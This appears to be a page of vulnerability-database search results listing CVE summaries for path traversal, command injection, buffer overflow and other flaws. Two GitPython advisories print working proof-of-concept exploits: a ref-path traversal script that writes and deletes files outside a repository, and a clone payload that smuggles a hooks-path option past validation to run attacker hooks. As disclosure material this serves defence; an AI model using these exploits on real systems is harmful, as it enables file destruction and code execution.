Search: base.py
213 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Low | 1.8 | EPSS 0.1% | Low1.8EPSS 0.1%GCVE DatabaseCVE-2025-6075 Red Hat Update Infrastructure (RHUI) container images are based on the latest RHUI RPM packages and the ubi9 or ubi9-init base images. This release updates to the latest version. | GCVE Database | ||
| High | 8.7 | EPSS 0.5% | CVE-2026-9632UTT HiPER 1250GW · Stack-based Buffer Overflow High8.7EPSS 0.5%CVE Database V5CVE-2026-9632 CVE-2026-9632 is a high-severity stack-based buffer overflow vulnerability in the UTT HiPER 1250GW device's Web Management Interface. The flaw exists in the strcpy function within the /goform/formGroupConfig component, where manipulation of the Profile argument can trigger the overflow. This vulnerability can be exploited remotely without user interaction or privileges. An exploit has been published, increasing the risk of potential attacks. No official patch or remediation guidance is currently available from the vendor. The vulnerability has a CVSS 4.0 base score of 8.7, indicating a significant security risk. EPSS 0.5%Vulnerability | CVE Database V5 | ||
| Low | 1.8 | EPSS 0.1% | Low1.8EPSS 0.1%CVE Database V5CVE-2026-0428 CVE-2026-0428 is a low-severity vulnerability in the AMD Instinct™ MI300A related to improper validation of input parameters in the TEE SOC Driver. Specifically, insufficient sanitization of a command (DRV_SOC_CMD_ID_SRIOV_COPY_VF_CHIPLET_REG) allows an attacker with high privileges to write invalid data to a remote Die, which may cause unexpected behavior. The vulnerability has a CVSS 4.0 base score of 1.8, indicating low impact and complexity. There is no vendor-provided patch or official remediation guidance available at this time, and no known exploits in the wild have been reported. The affected product is not a cloud service, so remediation depends on AMD's release of a fix. No geographic targeting is indicated. | CVE Database V5 | ||
| High | 7.8 | EPSS 0.4% | CVE-2026-44243GitPython · Path Traversal High7.8EPSS 0.4%CVE Database V5CVE-2026-44243 ## 🧾 Summary A vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**. --- ## 📦 Affected Versions * Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout) --- ## 🧠 Details ### Vulnerability Type **Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion** --- ### Root Cause Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations. `SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries. --- ### Affected Code ```python def set_reference(self, ref, logmsg=None): ... fpath = self.abspath assure_directory_exists(fpath, is_file=True) lfd = LockedFD(fpath) fd = lfd.open(write=True, stream=True) ... ``` ```python @classmethod def delete(cls, repo, path): full_ref_path = cls.to_full_path(path) abs_path = os.path.join(repo.common_dir, full_ref_path) if os.path.exists(abs_path): os.remove(abs_path) ``` ```python def rename(self, new_path, force=False): new_path = self.to_full_path(new_path) new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path) cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path) ... os.rename(cur_abs_path, new_abs_path) ``` --- ### Attack Vector **Local attack through application-controlled input passed into GitPython reference APIs** ### Authentication Required **None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.** --- ## 🧪 Proof of Concept ### Setup ```bash pip install GitPython==3.1.46 python poc.py ``` --- ### Exploit ```python import shutil from pathlib import Path from git import Repo from git.refs.reference import Reference from git.refs.symbolic import SymbolicReference base = Path("gp-ghsa-poc").resolve() if base.exists(): shutil.rmtree(base) repo_dir = base / "repo" repo = Repo.init(repo_dir) (repo_dir / "a.txt").write_text("init\n", encoding="utf-8") repo.index.add(["a.txt"]) repo.index.commit("init") outside_write = base / "outside_write.txt" outside_delete = base / "outside_delete.txt" outside_delete.write_text("DELETE ME\n", encoding="utf-8") print(f"repo_dir = {repo_dir}") print(f"outside_write = {outside_write}") print(f"outside_delete = {outside_delete}") Reference.create(repo, "../../../outside_write.txt", "HEAD") print("\n[+] outside_write exists:", outside_write.exists()) if outside_write.exists(): print("[+] outside_write content:") print(outside_write.read_text(encoding="utf-8")) SymbolicReference.delete(repo, "../../../outside_delete.txt") print("\n[+] outside_delete exists after delete:", outside_delete.exists()) ``` --- ### Result ```text repo_dir = ...\gp-ghsa-poc\repo outside_write = ...\gp-ghsa-poc\outside_write.txt outside_delete = ...\gp-ghsa-poc\outside_delete.txt [+] outside_write exists: True [+] outside_write content: <current HEAD commit SHA> [+] outside_delete exists after delete: False ``` --- ## 💥 Impact ### What can an attacker do? * Create or overwrite files outside the repository metadata directory * Delete attacker-chosen files reachable from the process permissions * Corrupt application state or configuration files * Cause denial of service by deleting or overwriting important files --- ### Security Impact * **Confidentiality:** Low * **Integrity:** High * **Availability:** High --- ### Who is affected? * Applications that expose GitPython reference operations to user-controlled input * Git automation services, repository management backends, CI/CD helpers, and developer platforms * Multi-user environments where one user can influence ref names processed on behalf of another workflow --- ## 🛠️ Mitigation / Fix ### Recommended Fix ```python def _validate_ref_write_path(repo, path, *, for_git_dir=False): SymbolicReference._check_ref_name_valid(path) base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve() target = (base / path).resolve() if base not in [target, *target.parents]: raise ValueError(f"Reference path escapes repository boundary: {path}") return str(target) ``` ```python full_ref_path = cls.to_full_path(path) _validate_ref_write_path(repo, full_ref_path) ``` | CVE Database V5 | ||
| High | 8.1 | EPSS 0.6% | CVE-2026-42284GitPython · Argument Injection High8.1EPSS 0.6%CVE Database V5CVE-2026-42284 ### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267. | CVE Database V5 | ||
| High | 7.8 | EPSS 0.1% | High7.8EPSS 0.1%GCVE DatabaseCVE-2026-43236 In the Linux kernel, the following vulnerability has been resolved: drm/atmel-hlcdc: fix use-after-free of drm_crtc_commit after release The atmel_hlcdc_plane_atomic_duplicate_state() callback was copying the atmel_hlcdc_plane state structure without properly duplicating the drm_plane_state. In particular, state->commit remained set to the old state commit, which can lead to a use-after-free in the next drm_atomic_commit() call. Fix this by calling __drm_atomic_helper_duplicate_plane_state(), which correctly clones the base drm_plane_state (including the ->commit pointer). It has been seen when closing and re-opening the device node while another DRM client (e.g. fbdev) is still attached: ============================================================================= BUG kmalloc-64 (Not tainted): Poison overwritten ----------------------------------------------------------------------------- 0xc611b344-0xc611b344 @offset=836. First byte 0x6a instead of 0x6b FIX kmalloc-64: Restoring Poison 0xc611b344-0xc611b344=0x6b Allocated in drm_atomic_helper_setup_commit+0x1e8/0x7bc age=178 cpu=0 pid=29 drm_atomic_helper_setup_commit+0x1e8/0x7bc drm_atomic_helper_commit+0x3c/0x15c drm_atomic_commit+0xc0/0xf4 drm_framebuffer_remove+0x4cc/0x5a8 drm_mode_rmfb_work_fn+0x6c/0x80 process_one_work+0x12c/0x2cc worker_thread+0x2a8/0x400 kthread+0xc0/0xdc ret_from_fork+0x14/0x28 Freed in drm_atomic_helper_commit_hw_done+0x100/0x150 age=8 cpu=0 pid=169 drm_atomic_helper_commit_hw_done+0x100/0x150 drm_atomic_helper_commit_tail+0x64/0x8c commit_tail+0x168/0x18c drm_atomic_helper_commit+0x138/0x15c drm_atomic_commit+0xc0/0xf4 drm_atomic_helper_set_config+0x84/0xb8 drm_mode_setcrtc+0x32c/0x810 drm_ioctl+0x20c/0x488 sys_ioctl+0x14c/0xc20 ret_fast_syscall+0x0/0x54 Slab 0xef8bc360 objects=21 used=16 fp=0xc611b7c0 flags=0x200(workingset|zone=0) Object 0xc611b340 @offset=832 fp=0xc611b7c0 | GCVE Database | ||
| Critical | 9.6 | EPSS 4.2% | Critical9.6EPSS 4.2%GCVE Database Langflow versions prior to 1.9.0 have a path traversal vulnerability in the Knowledge Bases API's bulk delete endpoint. Authenticated attackers can supply crafted knowledge base names to delete arbitrary directories on the server filesystem, potentially causing data loss and service disruption. The issue arises from improper sanitization and lack of path containment checks before deletion. This vulnerability is fixed in version 1.9.0 by normalizing and validating paths before deletion. | GCVE Database | ||
| Medium | 6.9 | EPSS 0.5% | CVE-2026-7784RTGS2017 NagaAgent · Path Traversal Medium6.9EPSS 0.5%CVE Database V5CVE-2026-7784 CVE-2026-7784 is a path traversal vulnerability in RTGS2017 NagaAgent versions up to 5.1.0. The issue occurs in the Skills Endpoint component, specifically in the file apiserver/routes/extensions.py, where manipulation of the argument 'Name' can lead to unauthorized file path access. The vulnerability can be exploited remotely without authentication. Although the vulnerability has been publicly disclosed, the vendor has not yet responded or provided a patch. The CVSS 4.0 base score is 6.9, indicating a medium severity level. EPSS 0.5%Vulnerability | CVE Database V5 | ||
| High | 7.5 | EPSS 0.7% | CVE-2025-69534Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update High7.5EPSS 0.7%GCVE DatabaseCVE-2025-69534 Red Hat Ansible Automation Platform provides an enterprise framework for building, deploying and managing IT automation at scale. IT Managers can provide top-down guidelines on how automation is applied to individual teams, while automation developers retain the freedom to write tasks that leverage existing knowledge without the overhead. Ansible Automation Platform makes it possible for users across an organization to share, vet, and manage automation content by means of a simple, powerful, and agentless language. Security Fix(es): * automation-controller: Account hijacking and unauthorized access via unverified email linking (CVE-2026-6266) * automation-controller: PyJWT accepts unknown `crit` header extensions (RFC 7515 §4.1.11 MUST violation) (CVE-2026-32597) * automation-controller: denial of service via malformed HTML-like sequences (CVE-2025-69534) * automation-controller: cryptography Subgroup Attack Due to Missing Subgroup Validation for SECT Curves (CVE-2026-26007) * automation-gateway: Account hijacking and unauthorized access via unverified email linking (CVE-2026-6266) * automation-gateway: Rollup: Remote Code Execution via Path Traversal Vulnerability (CVE-2026-27606) * automation-gateway: SVGO: Denial of Service via XML entity expansion (CVE-2026-29074) * automation-gateway: ReDoS via $data reference (CVE-2025-69873) * automation-gateway-proxy: Incorrect parsing of IPv6 host literals in net/url (CVE-2026-25679) * python3.12-django-ansible-base: Account hijacking and unauthorized access via unverified email linking (CVE-2026-6266) * python3.12-markdown: denial of service via malformed HTML-like sequences (CVE-2025-69534) * python3.12-jwcrypto: JWCrypto: Memory exhaustion via crafted compressed JWE tokens (CVE-2026-39373) * python3.12-pyasn1: pyasn1 Vulnerable to Denial of Service via Unbounded Recursion (CVE-2026-30922) * python3.12-pyasn1: pyasn1: Denial of Service due to memory exhaustion from malformed RELATIVE-OID (CVE-2026-23490) * python3.12-pyOpenSSL: DTLS cookie callback buffer overflow (CVE-2026-27459) * receptor: Incorrect parsing of IPv6 host literals in net/url (CVE-2026-25679) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. For details about this release, refer to the release notes listed in the References section. | GCVE Database | ||
| High | 7.5 | EPSS 1.1% | CVE-2025-14550Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update High7.5EPSS 1.1%GCVE DatabaseCVE-2025-14550 Red Hat Ansible Automation Platform provides an enterprise framework for building, deploying and managing IT automation at scale. IT Managers can provide top-down guidelines on how automation is applied to individual teams, while automation developers retain the freedom to write tasks that leverage existing knowledge without the overhead. Ansible Automation Platform makes it possible for users across an organization to share, vet, and manage automation content by means of a simple, powerful, and agentless language. Security Fix(es): * automation-controller: Account hijacking and unauthorized access via unverified email linking (CVE-2026-6266) * automation-controller: DTLS cookie callback buffer overflow (CVE-2026-27459) * automation-controller: PyJWT accepts unknown `crit` header extensions (RFC 7515 §4.1.11 MUST violation) (CVE-2026-32597) * automation-controller: denial of service via malformed HTML-like sequences (CVE-2025-69534) * automation-gateway: Account hijacking and unauthorized access via unverified email linking (CVE-2026-6266) * automation-gateway-proxy: Incorrect parsing of IPv6 host literals in net/url (CVE-2026-25679) * automation-platform-ui: Rollup: Remote Code Execution via Path Traversal Vulnerability (CVE-2026-27606) * automation-platform-ui: minimatch: Denial of Service via specially crafted glob patterns (CVE-2026-26996) * python3.12-django-ansible-base: Account hijacking and unauthorized access via unverified email linking (CVE-2026-6266) * python3.12-markdown: denial of service via malformed HTML-like sequences (CVE-2025-69534) * python3.12-jwcrypto: JWCrypto: Memory exhaustion via crafted compressed JWE tokens (CVE-2026-39373) * python3.12-pyasn1: pyasn1 Vulnerable to Denial of Service via Unbounded Recursion (CVE-2026-30922) * python3.12-pyasn1: pyasn1: Denial of Service due to memory exhaustion from malformed RELATIVE-OID (CVE-2026-23490) * python3.12-pyOpenSSL: DTLS cookie callback buffer overflow (CVE-2026-27459) * receptor: Incorrect parsing of IPv6 host literals in net/url (CVE-2026-25679) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. For details about this release, refer to the release notes listed in the References section. | GCVE Database | ||
| Medium | 6.9 | EPSS 0.3% | CVE-2026-7711MindsDB · Unrestricted Upload Medium6.9EPSS 0.3%CVE Database V5CVE-2026-7711 CVE-2026-7711 is a medium-severity vulnerability in MindsDB version 26.01 affecting the Engine Handler component. It allows remote attackers to perform unrestricted file uploads via the exec function in mindsdb/integrations/handlers/byom_handler/proc_wrapper.py. The vulnerability has a CVSS 4.0 base score of 6.9 and the exploit code is publicly available. The vendor has not responded to the disclosure and no official patch or remediation guidance is currently available. EPSS 0.3%Vulnerability | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.5% | CVE-2026-7681jsbroks COCO Annotator · Authorization Bypass Medium6.9EPSS 0.5%CVE Database V5CVE-2026-7681 CVE-2026-7681 is an authorization bypass vulnerability in jsbroks COCO Annotator versions up to 0.11.1. The issue exists in the Dataset API component, specifically in the backend/webserver/api/datasets.py file, where manipulation of the DatasetId argument allows bypassing authorization controls. This vulnerability can be exploited remotely without authentication. The vendor has not responded to the disclosure, and no official patch or remediation guidance is currently available. The vulnerability has a CVSS 4.0 base score of 6.9, indicating medium severity. EPSS 0.5%Vulnerability | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.6% | CVE-2026-7403geldata gel-mcp · Path Traversal Medium6.9EPSS 0.6%CVE Database V5CVE-2026-7403 CVE-2026-7403 is a path traversal vulnerability in geldata gel-mcp version 0.1.0. It affects the list_rules/fetch_rule function in src/gel_mcp/server.py, where manipulation of the rule_name argument allows an attacker to perform path traversal remotely. The vulnerability has a CVSS 4.0 base score of 6.9 (medium severity). The project has been informed but has not yet responded or issued a fix. Exploit code is publicly available, but no confirmed exploitation in the wild has been reported. EPSS 0.6%Vulnerability | CVE Database V5 | ||
| Medium | 4.8 | EPSS 0.2% | CVE-2026-40230helpyio helpy · XSS or 'Cross-site Scripting' Medium4.8EPSS 0.2%CVE Database V5CVE-2026-40230 Helpy contains a stored cross-site scripting vulnerability in the knowledge base Doc rendering logic. An authenticated attacker with admin or agent editor privileges can persist arbitrary HTML or JavaScript in the body field of a knowledge base Doc.This issue affects helpy: 2.8.0. | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.5% | CVE-2026-7319elinsky execution-system-mcp · Path Traversal Medium6.9EPSS 0.5%CVE Database V5CVE-2026-7319 CVE-2026-7319 is a path traversal vulnerability in elinsky execution-system-mcp version 0.1.0. The flaw exists in the _get_context_file_path function within src/execution_system_mcp/server.py, specifically in the add_action Tool component. This vulnerability allows remote attackers to manipulate the context argument to perform path traversal. The vulnerability has a CVSS 4.0 base score of 6.9, indicating medium severity. An exploit has been published, but there are no known exploits in the wild at this time. EPSS 0.5%Vulnerability | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.4% | CVE-2026-7314eiceblue spire-doc-mcp-server · Path Traversal Medium6.9EPSS 0.4%CVE Database V5CVE-2026-7314 CVE-2026-7314 is a path traversal vulnerability in eiceblue spire-doc-mcp-server version 1.0.0. It affects the get_doc_path function in the src/spire_doc_mcp/api/base.py file, allowing remote attackers to manipulate the document_name argument to traverse directories. The vulnerability has a CVSS 4.0 base score of 6.9, indicating medium severity. The issue was reported to the project early, but no response or patch has been provided yet. Exploit code is publicly available, though no known exploitation in the wild has been confirmed. EPSS 0.4%Vulnerability | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.4% | Medium6.9EPSS 0.4%CVE Database V5CVE-2026-7216 CVE-2026-7216 is a path traversal vulnerability in the donchelo processing-claude-mcp-bridge component, specifically in an unknown function within processing_server.py related to the create_sketch tool. The vulnerability arises from improper handling of the sketch_name argument, allowing remote attackers to manipulate file paths. The product uses a rolling release model, so specific affected or fixed versions are not detailed. The issue was reported early to the project, but no response or fix has been provided yet. The vulnerability has a CVSS 4.0 base score of 6.9, indicating medium severity. Public exploit code is available, but no known exploitation in the wild has been reported. No official patch or mitigation guidance is currently available. EPSS 0.4%Vulnerability | CVE Database V5 | ||
| Medium | 6.9 | EPSS 1.5% | CVE-2026-7215egtai gmx-vmd-mcp · Command Injection Medium6.9EPSS 1.5%CVE Database V5CVE-2026-7215 CVE-2026-7215 is a command injection vulnerability in the egtai gmx-vmd-mcp product version 0.1.0. The flaw exists in the launch_vmd_gui_tool function within the mcp_server.py file, where manipulation of the structure_file or trajectory_file arguments can lead to command injection. This vulnerability can be exploited remotely without authentication. The issue was reported to the project early, but no response or fix has been provided yet. The vulnerability has a CVSS 4.0 base score of 6.9, indicating medium severity. EPSS 1.5%Vulnerability | CVE Database V5 | ||
| Medium | 6.9 | EPSS 1.5% | CVE-2026-7211dvladimirov MCP · Command Injection Medium6.9EPSS 1.5%CVE Database V5CVE-2026-7211 CVE-2026-7211 is a command injection vulnerability in dvladimirov MCP version 0.1.0, specifically in the GitSearchRequest function of the mcp_server.py file within the Git Search API component. An attacker can remotely manipulate the repo_url or pattern argument to execute arbitrary commands. The vulnerability has a CVSS 4.0 base score of 6.9, indicating medium severity. Although the issue was reported early, the project has not yet responded or provided a fix. Exploit code is publicly available, but no known exploits in the wild have been reported to date. EPSS 1.5%Vulnerability | CVE Database V5 |
Page 12 of 15 · 1 duplicate CVE record merged